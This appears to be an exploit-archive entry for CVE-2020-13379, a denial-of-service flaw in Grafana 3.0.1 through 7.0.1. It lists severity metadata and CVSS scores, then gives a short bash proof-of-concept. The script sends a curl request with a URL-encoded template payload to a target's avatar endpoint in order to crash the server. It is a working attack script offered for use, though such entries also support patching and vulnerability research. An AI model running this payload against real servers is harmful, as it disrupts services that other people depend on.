Grafana 7.0.1 Denial Of Service

2020.07.07

Credit: mostwanted002

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2020-13379

CWE: CWE-918

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Date: 2020-05-23
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379
#!/bin/bash
if [[ $1 != "" ]]; then
curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
echo "Usage: grafana-dos.sh <TARGET>. Example: grafana-dos.sh http://localhost:3000"
fi

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Grafana 7.0.1 Denial Of Service

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